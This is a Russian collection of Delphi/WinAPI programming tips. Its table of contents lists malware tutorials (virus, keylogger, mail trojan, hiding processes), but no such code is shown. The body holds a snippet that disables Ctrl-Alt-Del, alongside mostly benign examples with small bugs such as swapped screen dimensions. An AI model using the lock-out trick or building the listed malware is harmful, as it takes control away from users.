  693. Как завершить задачу в Windows NT (а заодно получить PID задачи)
  694. Как запускать внешнюю программу сразу с высоким приоритетом
  695. Как запустить приложение и подождать пока оно отработает
  696. Как заставить перерисоваться все окна
  697. Как минимизиpовать все запущеные окна
  698. Как перехватывать события, посланные другим приложениям
  699. Как пользоваться командой шела - MinimizeAll
  700. Как послать некое сообщение всем формам
  701. Как правильно завершить некое приложение
  702. Как прикрепить свою форму к другому приложению
  703. Как разрешить или запретить переключение между задачами
  704. Как сообщить всем формам (и невидимым) об изменении глобальных значений
  705. Как сообщить какую-то глобальную переменную всем окнам программы (даже скрытым)
  706. Классы главных форм популярных программ
  707. Код нажатия кнопки и установки или снятия метки CheckBox в другом приложении
  708. Мечты вуайериста - чужие окна
  709. Нажать на кнопку в другом приложении
  710. Определение окончания работы другого приложения
  711. Отключить кнопку закрытия чужого окна
  712. Открыть документ и дождаться завершения работы с ним
  713. Получаем заголовок чужого компонента, который под мышью
  714. Получить дескриптор окна другого приложения и сделать его активным
  715. Получить приложение, ассоциированное с указанным расширением файлов
  716. Получить список запущенных приложений, проверить запущена ли программа
  717. Посылка сообщения всем формам - BroadCast
  718. Проверить, установлен ли Word
  719. Работа с другим приложением без Hook и DLL на примере GetFocus
  720. Сворачивание всех окон
  721. Связь между приложениями
  722. Список окон с кнопкой на панели задач
  723. Требуется нажать в другом приложении пару кнопок
  724. Убедиться, что приложение (окно) не отвечает
  725. Убиваем активное приложение
  726. Unit с полезными функциями для работы с процессами
  727. Запустить процесс в защищенной области другого пользователя
  728. Инсталляция и удаление сервисов под НТ
  729. Как выполнить какой-то процесс тогда, когда пользователь не работает с моим приложением
  730. Как завершить любой процесс, в том числе и системный
  731. Как заказать сервисный процесс
  732. Как запустить апплет панели управления
  733. Как запустить и остановить сервис (или получить его статус)
  734. Как запустить и подождать завершения 2х процессов
  735. Как определить откуда был запущен процесс
  736. Как получить или установить приоритет процесса в Win9x или Me
  737. Как получить список всех запущенных процессов
  738. Как получить хэндлы всех пpоцессов, котоpые запущены на данный момент в системе
  739. Как поместить приложение Delphi в Панель Управления
  740. Как узнать имя файла текущего процесса
  741. Как узнать, запущен ли процесс в Win9x
  742. Написание сервисов Windows NT на WinAPI
  743. Обнаружить терминальные сервисы
  744. Остановка и запуск сервисов
  745. Отсортировать выполнение процессов в системе
  746. Передать строки, картинки (streams) между процессами
  747. Перечислить процессы и завершить их
  748. Получение списка окон, с возможностью указания типа окна
  749. Получение списка процессов в Windows 9x и NT
  750. Получить заголовки и названия классов форм активных процессов
  751. Получить количество памяти, занимаемое процессом
  752. Получить сведения о процессе
  753. Приверить, запущен ли сервис
  754. Пропатчить процесс
  755. Просмотрщик запущенных процессов
  756. Прячем программу для TaskManager
  757. Свои апплеты в панели управления
  758. Связь между процессами при помощи WM_COPYDATA
  759. Скрытие или отображение процесса из списка процессов
  760. Создать Terminal Services Client
  761. Управление сервисами NT
  762. Управлять сервисом на другом компьютере в W2k
  763. Установка или снятие Debug привелегии у текущего процесса
  764. Восстановление размера окна
  765. Границы для перемещения формы в рабочей области
  766. Как заставить форму находиться позади всех окон в системе
  767. Как развернуть форму на весь экран, как в играх
  768. Как узнать, была ли перемещена форма
  769. Как узнать, что форма готовится изменить размеры
  770. Момент окончания изменения размера или перемещения окна
  771. Найти формы, которые частично перекрывают окно вашего приложения
  772. Обработать моменты сворачивания и разворачивания формы
  773. Обработка запроса на максимальное раскрытие окна
  774. Ограничение размеров окна
  775. Определить, находится ли окно в режиме Выше всех
  776. Плавающая палитра
  777. Предотвращение изменения вертикальных размеров окна
  778. Предохранить форму от перемещения и изменения размеров
  779. При изменении размеров окна без заголовка сначала отрисовывается рамка будущих размеров
  780. Размер диалогового окна
  781. Реакция на минимизацию формы перед тем как произойдет изменение размера
  782. Ручное масштабирование формы
  783. Сворачивает все приложение при сворачивании неглавного окна
  784. Создать растягиваемую без бордюра форму
  785. Сохранение и восстановление положения и размеров окон
  786. Сохранение размеров, позиции и состояния окна
  787. Текущая позиция окна
  788. Трехмерные формы с изменяющимися размерами
  789. Форма во весь экран
  790. Форма поверх всех других приложений
  791. Анимация окна - AnimateWindow
  792. Анимация форм при сворачивании и разворачивании
  793. Временно запретить форме перерисовываться
  794. Вывести окно на передний план
  795. Вылет окна
  796. Динамическое создание формы
  797. До динамического создания формы узнать, существует ли она
  798. Если форма не существует - создать
  799. Заблокировать перемещение формы
  800. Закрыть форму с анимацией
  801. Замена Form на FormIni
  802. Заполнение фона формы рисунком 2
  803. Из региона формы вычитается регион надписи
  804. Изменить оконную процедуру для TForm
  805. Изменить параметры создания формы - добавить прозрачность
  806. Как найти окно по неполному названию
  807. Как получить дескриптор текущего окна
  808. Как сделать так, чтобы окно было во весь экран
  809. Как создать новую форму, которая бы не отбирала фокус у существующей
  810. Как сохранить всю форму в файл (как Delphi в .dfm)
  811. Клонирование формы
  812. Косвенный вызов формы
  813. Липкие окошки
  814. Менять главную форму во время выполнения
  815. Минимизирование формы при запуске
  816. Можно ли заблокировать обновление определенного окна
  817. Можно ли рисовать на рамке формы
  818. Можно ли создать форму, которая получает дополнительные параметры в методе Сreate
  819. Найти количество дескрипторов форм, используемых вашим приложением
  820. Наполовину активное окно
  821. Наставляем мышь на окно, и оно выносится на передний план
  822. Не закрывающееся окно
  823. Не работает fsStayOnTop
  824. Ограничение на изменение размера формы по размеру панели на ней
  825. Освобождение экземпляров формы
  826. Открытие формы с анимацией
  827. Передача переменных форме
  828. Переопределение оконной процедуры и метода для другой формы
  829. Переопределить параметры формы при её создании
  830. Перечислить формы и дочерние формы
  831. Показ формы без фокуса
  832. Показывать содержимое формы при перетаскивании
  833. Полезные команды для редактирования формы
  834. Полноэкранный режим формы
  835. Получить информацию обо всех формах проекта
  836. Получить позицию активного окна
  837. Последовательность событий жизненного цикла формы
  838. Постоянно держать форму на заднем плане
  839. Предохранить форму от сворачивания
  840. Пример EnumWindows
  841. Проверить, содержит ли окно набор Unicode символов
  842. Просмотреть текст формы
  843. Просмотреть текст формы из запущенной программы
  844. Режимы разрешения для формы
  845. Сделать форму меньше 112 пикселей
  846. Событие при потере и установке фокуса для формы
  847. Создание заставки
  848. Создание формы на основе строки
  849. Создание формы переменного типа
  850. Создать форму с закругленными краями
  851. Убирать бордюр формы при перемещении
  852. Удалить кнопки сворачивания и максимизации с формы
  853. Универсальный создатель формы
  854. Форма выше всех других форм
  855. Hook и обработка нажатий клавиш в др. приложениях
  856. Отсеивание повторяющихся строк в TSringList
  857. А куда подевался экран????
  858. Возможно ли определить серийник CD-R
  859. Вывод текста по середине в ячейках StringGrid
  860. Западло на Delphi размером 8Kb
  861. Записать в файл 1 байт
  862. Запись в файл
  863. Запуск программы и ожидание ее окончания, принудительное завершение если timeout
  864. Извлечение текста из строки до определёного символа и после
  865. Как заставить Рабочий Стол обновится
  866. Как поместить иконку в Tray и работать с ней ?
  867. Как при ресайзе имейджа сделать чтоб картинка не промаргивала??
  868. Как прокрутить текст в Tmemo или в TRichEdit
  869. Кодировка полиалфавитным шифром Вигeнера - xor кодировка
  870. Маленькие хитрости хакерских программ
  871. Мало места на винте
  872. Метод половинного деления в TStringList. Отсев в стринглисте.
  873. Нас ребут, а мы крепчаем!
  874. Определить есть ли в приводе диск
  875. Отключить команду выключить компьютер
  876. Открыть папку и выделить в ней нужный мне файл...
  877. Пишем вирус на Паскале
  878. Повышение криптоустойчивости шифрования текста любым алгоритмом
  879. Поиск в по первым символам его строк.
  880. Поиск строки в ListBox и переход на нее
  881. Получение списка DLL загруженных приложением
  882. Получения позиции курсора из компоненты TMemo.
  883. Пример резидентной программы
  884. Пример шифрования текста
  885. Проблема с отправкой писем
  886. Работа с динамически создаваемыми объектами.
  887. Разбивка строки на слова
  888. Регионы по битмапу
  889. Сворачивает все приложение при сворачивании неглавного окна.
  890. Своя кнопка в IE
  891. Скрытие программы из TaskBar, Alt-Tab, Ctrl-Alt-Del
  892. Сортировка полей в StringGrid
  893. Сохранение и загрузка с помощью TStreamFile. (Потоком)
  894. Удаление ненужных символов из строк
  895. Функция Undo в TMemo
  896. Хочу сделать СУПЕРГЛАВНОЕ окно (StayOntop MostTop)
  897. Эмуляция нажатия клавиши в активном окне
  898. Эмуляция нажатия клавиши в любом окне, в т.ч. неактивном
  899. DLL
  900. BOOT - вирус с нестандартным алгоритмом активизации
  901. Западло на Delphi #3
  902. Исходник виря-убийцы
  903. Клавиатурный шпион своими руками
  904. Пишем мыльный троян
  905. Мастдай-киллер на Делфи

















Как передать при создании нити (TThread) ей некоторое значение?
К примеру, функция "прослушивает" каталог на предмет файлов. Если находит, то создает нить, которая будет обрабатывать файл.
Потомку надо передать имя файла, а вот как?
Странный вопрос. Я бы понял, если бы требовалось передавать данные во время работы нити. А так обычно поступают следующим
образом.
В объект нити, происходящий от TThread дописывают поля. Как правило, в секцию PRIVATE. Затем переопределяют конструктор
CREATE, который, принимая необходимые параметры заполняет соответствующие поля. А уже в методе EXECUTE легко можно
пользоваться данными, переданными ей при его создании.

Например:

TYourThread = class(TTHread)
private
FFileName: String;
protected
procedure Execute; overrided;
public
constructor Create(CreateSuspennded: Boolean;
const AFileName: String);
end;
.....
constructor TYourThread.Create(CreateSuspennded: Boolean;
const AFileName: String);
begin
inherited Create(CreateSuspennded);
FFIleName := AFileName;
end;

procedure TYourThread.Execute;
begin
try
....
if FFileName = ...
....
except
....
end;
end;
....
TYourForm = class(TForm)
....
private
YourThread: TYourThread;
procedure LaunchYourThread(const AFileName: String);
procedure YourTreadTerminate(Sender: TObject);
....
end;
....
procedure TYourForm.LaunchYourThread(
const AFileName: String);
begin
YourThread := TYourThread.Create(True, AFileName);
YourThread.Onterminate := YourTreadTerminate;
YourThread.Resume
end;
....
procedure TYourForm.YourTreadTerminate(Sender: TObject);
begin
....
end;
....
end.
К заголовку




Delphi и ресурсы компьютера
   Иногда Delphi-приложениям может не хватать функциональной полноты стандартной библиотеки компонентов и тогда бывает
необходимо обратиться к Microsoft Win32 API (Application Programming Interface - интерфейса взаимодействия прикладной
программы с операционной системой). Почти все функции из Microsoft Win32 API описаны в модуле windows.pas (который по
умолчанию включается в cекцию uses новых модулей). Cледует заметить, что часть из этих функции ведет себя по разному в
зависимости от текущей операционной системы (Windows 95, 98, NT).

    Разработаем программу, показывающую нам некоторую системную информацию о компьютере. В частности, хотелось бы
получить информацию о версии ОС, ее директориях, свойствах экрана, ресурсах памяти, имени пользователя и компьютера, дате
BIOS. Помимо этого, разрешим пользователю изменять настройки клавиатуры, встроенного динамика и хранителя экрана.

    Процесс визуального проектирования описывать не будем; рассмотрим лишь страницу "Параметры". Для удобства управления
параметрами клавиатуры положим на нее две компоненты TTrackBar. Изменим свойство Name на tbKeyboardDelay и
tbKeyboardSpeed. Изменим свойство PageSize на 1. Для tbKeyboardDelay установим Max=3 и для tbKeyboardSpeed. Max=31. Для
управления свойствами хранителя экрана используем TCheckBox (свойство Name сменим на cbScreenSaverActive, Caption на
'Хранитель экрана') и TMaskEdit (свойство Name='edSSTimeOut' и EditMask='!999;1;'). Аналогично добавим TCheckBox (свойство
Name='cbSpeaker', Caption='Использование встроенного динамика' ).

    Рассмотрим текст программы. В список включаемых модулей uses добавим registry. Добавим описание процедур в раздел public
описания TfmMain.

type
  TfmMain = class(TForm)
    ...
    procedure FormCreate(Sender: TObject);
    procedure Change(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
    KeyboardDelay,
    KeyboardSpeed,
    ScreenSaveTimeOut : integer;
    procedure ParametersInfo;
    procedure ShowSomeInfo;
    procedure BIOSInfo(OS : string);
    procedure HardwareInfo;
    procedure MemoryInfo;
    procedure VideoInfo;
    procedure OSInfo;
  end;

var fmMain: TfmMain;

implementation
uses Registry;
{$R *.DFM}

    Сначала получим информацию о компьютере. Используем функцию GetComputerName для получения имени компьютера,
функцию GetUserName для получения имени пользователя и функцию GetSystemInfo для получения информации о процессоре
(наиболее полно данная функция реализована в Windows NT, где она возвращает и кол-во процессоров и их тип и т.д.).

// Информация о компьютере.
procedure TfmMain.HardwareInfo;
var Size         : cardinal;
    PRes         : PChar;
    BRes         : boolean;
    lpSystemInfo : TSystemInfo;
begin
  // Имя компьютера
  Size := MAX_COMPUTERNAME_LENGTH + 1;
  PRes := StrAlloc(Size);
  BRes := GetComputerName(PRes, Size);
  if BRes then laCompName_.Caption := StrPas(PRes);
  // Имя пользователя
  Size := MAX_COMPUTERNAME_LENGTH + 1;
  PRes := StrAlloc(Size);
  BRes := GetUserName(PRes, Size);
  if BRes then laUserName_.Caption := StrPas(PRes);
  // Процессор
  GetSystemInfo(lpSystemInfo);
  laCPU_.Caption := 'класса x' + IntToStr
  (lpSystemInfo.dwProcessorType);
end;

    Перейдем к параметрам экрану. Здесь мы будем использовать и Win32 API функции и стандартные объекты VCL. Так для
получения разрешения экрана нам понадобится объект TScreen (его свойства Width и Height). Остальные параметры мы получим
через контекст драйвера устройства DC используя функцию GetDeviceCaps.

// Информация о видеосистеме.
procedure TfmMain.VideoInfo;
var DC : hDC;
    c  : string;
begin
  // Разрешение экрана
  laWidth_.Caption  := IntToStr(Screen.Height);
  laHeight_.Caption := IntToStr(Screen.Width);
  // Информация о глубине цвета.
  DC := CreateDC('DISPLAY',nil,nil,nil);
  laBitsPerPixel_.Caption :=
  IntToStr(GetDeviceCaps(DC,BITSPIXEL));
  laPlanes_.Caption       :=
  IntToStr(GetDeviceCaps(DC,PLANES));
  case GetDeviceCaps(DC,BITSPIXEL) of
    8  : c := '256 цветов';
    15 : c := 'Hi-Color / 32768 цветов';
    16 : c := 'Hi-Color / 65536 цветов';
    24 : c := 'True-Color / 16 млн цветов';
    32 : c := 'True-Color / 32 бит';
  end;
  laColors_.Caption := c;
  DeleteDC(DC);
end;

    Также будет интересна информация о памяти. Здесь нам поможет функция GlobalMemoryStatus, возвращающая информацию по
объему физической и виртуальной памяти.

// Информация о памяти.
procedure TfmMain.MemoryInfo;
var lpMemoryStatus : TMemoryStatus;
begin
  lpMemoryStatus.dwLength := SizeOf(lpMemoryStatus);
  GlobalMemoryStatus(lpMemoryStatus);
  with lpMemoryStatus do begin
    laFreeMemory.Caption :=
         laFreeMemory.Caption +
         IntToStr(dwMemoryLoad) + '%';
    laRAM_.Caption := Format('%0.0f Мбайт',
         [dwTotalPhys div 1024 / 1024]);
    laFreeRAM_.Caption := Format('%0.3f Мбайт',
    [dwAvailPhys div 1024 / 1024]);
    laPF_.Caption := Format('%0.0f Мбайт',
         [dwTotalPageFile div 1024 / 1024]);
    laPFFree_.Caption := Format('%0.0f Мбайт',
         [dwAvailPageFile div 1024 / 1024]);
  end;
end;

    Узнаем информацию о ОС. Функция GetWindowsDirectory вернет путь к каталогу, где установлена система, функция
GetSystemDirectory - к системному каталогу. Для определения версии ОС воспользуемся функцией GetVersionEx.

// Информация о Windows.
procedure TfmMain.OSInfo;
var PRes                 : PChar;
    Res                  : word;
    BRes                 : boolean;
    lpVersionInformation : TOSVersionInfo;
    c                    : string;
begin
  // Каталог, где установлена Windows
  PRes := StrAlloc(255);
  Res := GetWindowsDirectory(PRes, 255);
  if Res > 0 then laWinDir_.Caption :=
        StrPas(PRes);
  // Системный каталог Windows
  Res := GetSystemDirectory(PRes, 255);
  if Res > 0 then laSysDir_.Caption :=
        StrPas(PRes);
  // Имя ОС
  lpVersionInformation.dwOSVersionInfoSize :=
        SizeOf(TOSVersionInfo);
  BRes := GetVersionEx(lpVersionInformation);
  if BRes then
  with lpVersionInformation do case dwPlatformId of
    VER_PLATFORM_WIN32_WINDOWS :
      if dwMinorVersion=0 then c := 'Windows 95'
        else c := 'Windows 98';
    VER_PLATFORM_WIN32_NT : c := 'Windows NT';
    VER_PLATFORM_WIN32s : c := 'Win 3.1 with Win32s'
  end;
  laVersion_.Caption := c;
  // Дата создания BIOS-а
  if c='Windows NT' then BIOSInfo('NT') else BIOSInfo('95');
end;

    В предыдущем отрывке программы внимательный читатель заметил вызов функции BIOSInfo с параметром, характеризующем
текущую ОС. Опишем эту функцию. Важно отметить, что способ получения информации о дате BIOS различен. Для NT получим
информацию из реестра, а для Windows 95/98 из соответствующего участка памяти. Эти два способа взаимоисключаемы, так как у
Windows 95/98 нет соответствующего раздела реестра, а прямой доступ к памяти в NT невозможен.

// Информация о дате создания BIOS-а.
procedure TfmMain.BIOSInfo(OS : string);
var p : pointer;
    s : string[255];
begin
  if OS='NT' then begin with TRegistry.Create do
    try RootKey := HKEY_LOCAL_MACHINE;
      if OpenKeyReadOnly
('HARDWARE\DESCRIPTION\System')
        then laBIOSDate_.Caption :=
ReadString('SystemBiosDate')
    finally Free;
    end;
  end
  else try
    s[0] := #8;
    p := Pointer($0FFFF5);
    Move(p^,s[1],8);
    laBIOSDate_.Caption :=
copy(s,1,2) + '/' + copy(s,4,2) + '/' +copy (s,7,2);
  except laBIOSDate_.Caption := 'XX.XX.XXXX';
  end;
end;

    Рассмотрим функцию SystemParametersInfo, которая позволяет управлять некоторыми настройками системы. Область применения
данной функции для NT и Windows 95/98 различна. Умышленно выберем некоторую общую часть для обеих систем.

// Информация о параметрах
procedure TfmMain.ParametersInfo;
var Bl : boolean;
begin
  // Разрешен ли PC Speaker
  SystemParametersInfo(SPI_GETBEEP,0,@Bl,0);
  cbSpeaker.Checked := Bl;
  // Активен ли хранитель экрана
  SystemParametersInfo
(SPI_GETSCREENSAVEACTIVE,0,@Bl,0);
  cbScreenSaverActive.Checked := Bl;
  // Интервал вызова хранителя экрана
  SystemParametersInfo
(SPI_GETSCREENSAVETIMEOUT,0,
@ScreenSaveTimeOut,0);
  // Настройки клавиатуры
  SystemParametersInfo
(SPI_GETKEYBOARDDELAY,0,
@KeyboardDelay,0);
  SystemParametersInfo
(SPI_GETKEYBOARDSPEED,0,
@KeyboardSpeed,0);
end;

// Отображение настроек
procedure TfmMain.ShowSomeInfo;
begin
  tbKeyboardDelay.Position := 3 - KeyboardDelay;
  tbKeyboardSpeed.Position := KeyboardSpeed;
  edSStimeOut.EditMask := IntToStr
(ScreenSaveTimeOut div 60);
end;

    Также позволим пользователю изменять и сохранять настройки системы по своему вкусу. Здесь также будем использовать
функцию SystemParametersInfo. Для компонентов tbKeyboardSpeed, tbKeyboardDelay, cbScreenSaverActive, cbSpeaker, edSSTimeOut в
ObjectInspector перейдем на закладку Events и изменим событие OnChange (для tbKeyboardSpeed, tbKeyboardDelay) , OnClick (для
cbScreenSaverActive, cbSpeaker) и OnExit для edSSTimeOut на Change. Таким образом, все пять вышеперечисленных компонент после
изменений состояний передадут управление нижеприведенной процедуре.

// Сохранение изменений параметров системы
procedure TfmMain.Change(Sender: TObject);
var Sen : TComponent;
begin
  Sen := Sender as TComponent;
  // Вкл/Выкл PC Speaker-а.
  if (Sen.Name='cbSpeaker') and cbSpeaker.Checked
    then SystemParametersInfo
(SPI_SETBEEP,1,nil,SPIF_UPDATEINIFILE)
    else SystemParametersInfo
(SPI_SETBEEP,0,nil,SPIF_UPDATEINIFILE);
  // Вкл/Выкл активности хранителя экрана.
  if (Sen.Name='cbScreenSaver') and cbScreenSaverActive.Checked
    then SystemParametersInfo
(SPI_SETSCREENSAVEACTIVE,1,nil,SPIF_UPDATEINIFILE)
    else SystemParametersInfo
(SPI_SETSCREENSAVEACTIVE,0,nil,SPIF_UPDATEINIFILE);
  // Изменение значения задержки перед повтором с клавиатуры
  if (Sen.Name='tbKeyboardDelay') then SystemParametersInfo(
    SPI_SETKEYBOARDDELAY,3-tbKeyboardDelay.Position,nil,
SPIF_SENDWININICHANGE);
  // Изменение значения скорости ввода с клавиатуры
  if (Sen.Name='tbKeyboardSpeed') then SystemParametersInfo(
    SPI_SETKEYBOARDSPEED,tbKeyboardSpeed.Position,nil,
SPIF_SENDWININICHANGE);
  // Изменение интервала запуска хранителя экрана
  if (Sen.Name='edSSTimeOut') then SystemParametersInfo(
    SPI_SETSCREENSAVETIMEOUT,StrToInt(edSSTimeOut.Text)
*60,nil,SPIF_UPDATEINIFILE);
end;

И ,наконец, вызовем все эти процедуры при создании формы.

// Вызов информационных процедур при создании формы.
procedure TfmMain.FormCreate(Sender: TObject);
begin
  HardwareInfo;
  MemoryInfo;
  VideoInfo;
  ParametersInfo;
  ShowSomeInfo;
  OSInfo;
end;

    Использование Delphi совместно c фунциями Microsoft Win32 API позволит программисту создать более функционально богатые
и гибкие приложения.
К заголовку




Изменение размера динамической структуры
При изменении размера динамической структуры удобно пользоваться процедурой ReallocMem. Эта процедура изменяет объем
выделенной памяти до необходимого. Если Вы увеличиваете объем выделенной памяти, процедура постарается оставить данные на
старом месте. Это возможно в том случае, если после этих данных память пуста. Если же это не получится, будет выделен новый
кусок памяти, а данные перемещены туда. Пример:

function ShowArray(p: PByteArray; count: integer): string;
var
  i: integer;
begin
  result := '';
  for i := 0 to count - 1 do
    result := result + IntToStr(p^[i]) + ' ';
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  p: PByteArray;
  i: integer;
begin
  randomize;
  p := AllocMem(10);
  for i := 0 to 9 do
    p^[i] := random(256);
  Label1.Caption := ShowArray(p, 10);
  ReallocMem(p, 20);
  for i := 10 to 19 do
    p^[i] := random(256);
  Label2.Caption := ShowArray(p, 20);
end;


Динамический массив заполняется случайными числами. После этого размер массива изменяется. Для этого используется лишь одна
процедура - ReallocMem. После ее выполнения, данные в начале массива остаются неизмененными.

Резидентная прога

05 ноя 2001 (понедельник), 09:50:40

программу без использования VCL (Visual Component Library). Иначе это можно назвать "написанием программ на WinAPI". Один
из способов создать такой проект в Delphi - в меню File | New... выбрать Console Application и удалить строку {$APPTYPE
CONSOLE}.

Почти для любого действия нам понадобится окно. Но видеть нам его не нужно. Поэтому, создадим невидимое окно. Для этого
нужно зарегистрировать класс окна и создать его, но не показывать. Эти два действия происходят в функции CreateMyWnd. Чтобы
было возможно общение пользователя с программой, можно сделать TrayIcon (иконку справа на панели задач). Она создается в
процедуре CreateTray. Иконку я взял, наверное, не самую подходящую, но это для примера. Точно так же можно взять собственную
иконку. Для tray также нужно всплывающее меню. Здесь оно создается в функции CreateMyMenu и состоит всего из одного пункта.
Резидентные программы обычно отслеживают что-то. Для этой цели бывает необходим таймер. Создается он при помощи SetTimer.
Чтобы наша программа не "тормозила" компьютер, приоритет программы лучше всего установить в самый низкий. Конечно, это
хорошо не во всех случаях, но иногда это весьма полезно.

Эта программа занимается тем, что запускает ScreenSaver при сдвиге курсора в левый верхний угол (координаты курсора
проверяются каждую секунду) и при нажатии клавиши Pause (реализуются через HotKey). Задача, конечно, не самая актуальная.
Присылайте, пожалуйста, ваши идеи по поводу задач для резидентной программы.

program MyResident;
uses
  Windows,
  ShellAPI,
  Messages;

const
  ClassName = 'MyResident'; { Имя класса }
  WM_NOTIFYTRAYICON = WM_USER + 1; { Это сообщение будет
    генерироваться при событиях с tray }

var
  menu: hMenu; { Всплывающее меню }
  mywnd: hWnd; { Окно программы }

function MyWndProc(wnd: hWnd; msg, wParam,
  lParam: longint): longint; stdcall;
var
  p: TPoint;
  s: array [0..255] of char;
  tray: TNotifyIconData;
begin
  case msg of
    WM_TIMER: begin { Событие таймера }
      GetCursorPos(p);
      if (p.x = 0) and (p.y = 0) then begin { Проверка координат курсора }
        { Если ScreenSaver еще не запущен - запустить: }
        GetClassName(GetForegroundWindow, s, length(s));
        if s <> 'WindowsScreenSaverClass'
          then SendMessage(wnd, WM_SYSCOMMAND, SC_SCREENSAVE, 0);
      end;
      result := 0;
    end;
    WM_NOTIFYTRAYICON: begin { Событие tray }
      { Если нажата правая кнопка, показать меню: }
      if lparam = WM_RBUTTONUP then begin
        GetCursorPos(p);
        TrackPopupMenu(menu, TPM_LEFTALIGN, p.x, p.x, 0, wnd, nil);
      end;
      result := 0;
    end;
    WM_COMMAND: begin { Выбран пункт меню }
      { Если выбран нулевой пункт (здесь - единственный) -
        закрыть программу: }
      if lo(lparam) = 0 then SendMessage(mywnd, WM_CLOSE, 0, 0);
      result := 0;
    end;
    WM_HOTKEY: begin { Нажата горячая клавиша }
      { Запуск хранителя экрана: }
      SendMessage(wnd, WM_SYSCOMMAND, SC_SCREENSAVE, 0);
      result := 0;
    end;
    WM_DESTROY: begin { Закрытие программы }
       { Удаление tray: }
      with tray do begin
        cbSize := sizeof(TNotifyIconData);
        wnd := mywnd;
        uID := 0;
      end;
      Shell_NotifyIcon(NIM_DELETE, @tray);
      PostQuitMessage(0);
      result := 0;
    end;
    else Result := DefWindowProc(wnd, msg, WParam, LParam);
  end;
end;

function CreateMyWnd: hWnd;
var
  wc: WndClass;
begin
  { Гегистрация класса: }
  wc.style := 0;
  wc.lpfnWndProc := @MyWndProc;
  wc.cbClsExtra := 0;
  wc.cbWndExtra := 0;
  wc.hInstance := hInstance;
  wc.hIcon := 0;
  wc.hCursor := 0;
  wc.hbrBackground := COLOR_WINDOW;
  wc.lpszMenuName := nil;
  wc.lpszClassName := ClassName;
  if RegisterClass(wc) = 0 then halt(0);
  { Создание окна: }
  result := CreateWindowEx(WS_EX_APPWINDOW, ClassName,
    'My Window', WS_POPUP, 0, 0, 0, 0, 0, 0, hInstance, nil);
  if result = 0 then halt(0);
end;

procedure CreateTray;
var
  tray: TNotifyIconData;
begin
  { Создание tray: }
  with tray do begin
    cbSize := sizeof(TNotifyIconData);
    wnd := mywnd;
    uID := 0;
    uFlags := NIF_ICON or NIF_MESSAGE or NIF_TIP;
    uCallBackMessage := WM_NOTIFYTRAYICON;
    hIcon := LoadIcon(0, IDI_ASTERISK);
    szTip := ('My Resident');
  end;
  Shell_NotifyIcon(NIM_ADD, @tray);
end;

function CreateMyMenu: hMenu;
begin
  { Создание меню: }
  result := CreatePopupMenu;
  if result = 0 then halt(0);
  if not AppendMenu(result, MF_STRING, 0, 'Exit') then halt(0);
end;

var
  msg: TMsg;

begin
  mywnd := CreateMyWnd; // Создание окна
  CreateTray; // Создание tray
  menu := CreateMyMenu; // Создание меню
  SetThreadPriority(GetCurrentThread, THREAD_PRIORITY_IDLE); { Установка
    низкого приоритета }
  RegisterHotKey(mywnd, 0, 0, VK_PAUSE); // Регистрация "горячей клавиши"
  SetTimer(mywnd, 0, 1000, nil); // Создание таймера
  while (GetMessage(msg, 0, 0, 0)) do begin
    TranslateMessage(msg);
    DispatchMessage(msg);
  end;
  KillTimer(mywnd, 0); // Уничтожение таймера
  UnregisterHotKey(mywnd, 0); // "Уничтожение" горячей клавиши
end.
К заголовку




Как вызвать Windows функцию Beep()?
procedure TForm1.Button1Click(Sender: TObject);
begin
 SysUtils.Beep;
 Windows.Beep(100, 1000);
end;
К заголовку




Как завершить выполнение какой либо программы?
procedure KillProgram(ClassName: PChar; WindowTitle: PChar);
const
PROCESS_TERMINATE = $0001;
var
ProcessHandle : THandle;
ProcessID: Integer;
TheWindow : HWND;
begin
TheWindow := FindWindow(PChar(ClassName), PChar(WindowTitle));
GetWindowThreadProcessID(TheWindow, @ProcessID);
ProcessHandle := OpenProcess(PROCESS_TERMINATE, FALSE, ProcessId);
TerminateProcess(ProcessHandle,4);
end;
К заголовку




Как запретить переключение на другие задачи?
Выключить Ctl-alt-del
bool old;
SystemParametersInfo (SPI_SCREENSAVERRUNNING,1,&old,0)
Включить обратно
SystemparametersInfo (SPI_ScreenSaverrunning,0,&old,0)
К заголовку




Как копировать фаил чтобы прогрес индикатор двигался и кнопку отмена можно было нажать?
Как копировать фаил чтобы прогрес индикатор двигался и кнопку отмена можно было нажать?

Вызывай ShFileOperation() будет тебе и прогесс бар и кнопочка.
При копировании, чтобы обеспечить обслуживание юзера, ИМХО, лучше делать так: копируешь порциями примерно по 4-16К,
после чего смотришь на события, и раз в секунду чего-нить выводишь юзеру (сигнал, что прога не висит).
Резюмируя:

Если хочешь поиметь прогресс без усилий, используй SHFileOperation.
Если хочешь реализовыать прогрессом сам (с какими-нибудь, например, дополнительными примочками) то:
NT, W2K - CopyFileEx
Win9x - ручками, ручками, "примерно по 4-16К"
К заголовку




Как локализовать ресурсы какого-либо пакета (runtime package)?
Вот, случайно набpели в хэлпе. Если нужно изменить pесуpсы какого-либо модуля, то это можно делать с помощью нехитpой
опеpации:

1) Вынимаете pесуpсы из этого модуля.
2) Пеpеводите их на дpугой язык. (напpимеp pусский)
3) Создаете в Delphi свой пpоект Dll-ки (с именем того модуля, из котоpого вы вынули pесуpсы, напpимеp vcl30), в котоpый
включаете _пеpеведенные_ pесуpсы:
{$R vcl30rus.res}
4) Собиpаете все это.
5) Пеpеименовываете полученную vcl30.Dll в vcl30.rus и кидаете ее в System.
Если вы хотите, пpиложение "говоpило" по pусски только тогда, когда в pегиональных установках стоит Russia - то тогда это все.
Если же вы хотите, чтобы ваше пpиложение _всегда_ поднимало pусские pесуpсы, то необходимо сделать следующее добавление в
Registry:
HKEY_CURRENT_USER\SOFTWARE\Borland\Delphi\Locales
"X:\MyProject\MyApp.exe" = "rus"

Тепеpь, когда ваше пpиложение будет поднимать pakages, то всегда будут бpаться pусские pесуpсы. Дpугие пpиложения, напpимеp
Delphi - это не затpонет. Таким обpазом можно заменять даже DFM-ки из пpоекта.

Более подpобно об этом - см Help - Index - Localizing...
К заголовку




Как написать свой PlugIN
=== 1 ===
Как написать свой PlugIN (типа поддержки различных форматов файлов ...)
Типовая задача - разрабатывается некая задача и при этом
- Некоторые ее компоненты могут не инсталлироваться баз ущерба для работоспособности
- Некоторые компоненты предполагается изготавливать впоследствии и рассылать пользователям
- Некоторые компоненты могут разрабатываться другими программистами и распространяться независимо от программы
.....
Классические примеры - фильтры для совместимости по форматам файлов с другими программами, некоторые расширения и
дополнительные возможности. Примеры и моей практики - приведу парочку

Программа управления программатором ПЗУ.
Заранее неизвестно, с каким железом она будет работать и как им управлять. Необходимо было дать возможнось разработчику железа
написать для него поддержку

